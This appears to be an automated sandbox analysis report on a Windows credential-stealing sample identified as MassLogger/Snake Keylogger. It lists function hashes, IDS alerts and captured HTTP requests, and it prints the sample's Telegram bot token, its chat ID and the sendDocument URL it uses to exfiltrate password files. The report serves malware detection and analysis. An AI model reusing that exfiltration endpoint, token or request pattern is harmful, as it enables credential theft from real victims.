String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2955327559.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2955306041.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955362346.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955379885.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2955439266.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_xXUnP7uCBJ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2980898260.000000003682B000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA", "Telegram Chatid": "2065242915"}
Source: xXUnP7uCBJ.exe.5856.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendMessage"}

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCD1EC CryptUnprotectData,		5_2_38FCD1EC
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 5_2_38FCD9D9 CryptUnprotectData,		5_2_38FCD9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49891 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49891 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49867 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49867 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49904 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49904 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49929 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49929 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49965 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49965 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49977 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49942 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49942 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50024 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50008 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49989 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50006 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50026 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50001 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50036 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50020 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50022 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50028 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49955 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49880 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49955 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49880 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50032 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49917 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49917 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50030 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50034 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50034 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd318d382f37f4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31a2245053c6Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b700ceb690Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31cd3062f03fHost: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e34ecd4894Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31f7fbc37367Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd320c9a0f5891Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd322544ac15bbHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3239c22019d9Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd324b782691fcHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd325fd91eb303Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd327585b25b55Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32886eeb9cb4Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3299f2df1cddHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32af710cb323Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32c0da251c45Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32d4e14bf837Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd32e7854d3f76Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd330608dbbc35Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3319dc5c2cdfHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd332da11f00c2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33400739d22bHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd3354ff8faf06Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd336b37c3d0f8Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33815fe28e68Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd339a0f1b022aHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33b014664df2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd33cc7ddfd09cHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: xXUnP7uCBJ.exe	Virustotal: Detection: 57%			Perma Link
Source: xXUnP7uCBJ.exe	ReversingLabs: Detection: 57%

Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FC0671h	5_2_38FC03AF
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FC1042h	5_2_38FC0C28
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCC985h	5_2_38FCC638
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCB339h	5_2_38FCB07F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCF2F8h	5_2_38FCF054
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCC499h	5_2_38FCC1F2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCBBE9h	5_2_38FCB930
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCDD40h	5_2_38FCDA89
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCEEA0h	5_2_38FCEBF2
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCE5F0h	5_2_38FCE339
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCB791h	5_2_38FCB4EC
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FC1042h	5_2_38FC0C1A
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCC041h	5_2_38FCBD9C
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCE198h	5_2_38FCDEE1
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FCEA48h	5_2_38FCE790
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 38FC1042h	5_2_38FC0F6F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then push 00000000h	5_2_3956BDF0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 3956882Dh	5_2_39568650
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395691B7h	5_2_39568650
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395623B0h	5_2_39562108
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then push 00000000h	5_2_3956C92F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_39568193
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39562C60h	5_2_395629B8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39561B00h	5_2_39561858
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39567318h	5_2_39567070
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39564ACAh	5_2_39564820
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_39567B4F
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	5_2_39568373
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39566610h	5_2_39566368
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39563DC0h	5_2_39563B18
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39564670h	5_2_395643C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	5_2_3956CBE7
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39563510h	5_2_39563268
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395654B0h	5_2_39565208
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39565D60h	5_2_39565AB8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39562808h	5_2_39562560
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39565058h	5_2_39564DB0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39566EC0h	5_2_39566C18
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395616A8h	5_2_39561400
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39567770h	5_2_395674C8
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39561F58h	5_2_39561CB0
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 39564218h	5_2_39563F70
Source: C:\Users\user\Desktop\xXUnP7uCBJ.exe	Code function: 4x nop then jmp 395661B8h	5_2_39565F10
